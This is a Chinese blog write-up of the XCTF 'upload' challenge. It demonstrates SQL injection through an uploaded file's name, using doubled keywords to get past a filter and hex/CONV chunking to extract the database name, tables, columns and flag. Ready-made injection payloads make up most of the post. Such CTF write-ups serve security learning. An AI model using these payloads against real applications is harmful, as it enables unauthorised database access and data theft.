攻防世界——upload 文件名也可以sql注入?

0x01

打开后直接文件上传,png的发现不行改成jpg的,发现上传成功。
在这里插入图片描述然后回显:
在这里插入图片描述
没出现路径,找了半天也没找到,看了wp才知道居然要利用文件名注入。过滤了select from 用双写即可绕过。
问了下学长说是:因为回显的只是文件名,然后它存入数据库的也可能是文件名,既然连接了数据库就可能存在注入漏洞。然后就能想到可能是文件名sql注入。
意思就是我们将substr(hex(dAtaBase()) 的结果从16进制转化为10进制
sselectelect database() => 0

selecselectt substr(dAtabase(),1,12) => 0

selecselectt substr(hex(dAtabase()),1,12) => 7765625 这里正常应该显示7765625f7570才对,可能是题目的设置,出现字母以后后面内容就会被截断

所以才用到了CONV,将16进制转化为10进制

上网查CONV函数:
在这里插入图片描述

注入语句如下:

sql’+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+’.jpg => 131277325825392 => web_up (这里将10进制再转化为16进制进行hex解码就出来了)

sql’+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+’.jpg => 1819238756 => load
拼接以后 web_upload
表:
sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),1,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),13,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),25,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=‘web_upload’)),37,12),16,10))+’.jpg

拼接以后为 files,hello_flag_is_here

列:

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=‘hello_flag_is_here’)),1,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=‘hello_flag_is_here’)),13,12),16,10))+’.jpg

拼接以后为 i_am_flag

字段:

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+’.jpg

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+’.jpg

拼接以后为 !!_@m_Th.e_F!lag

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值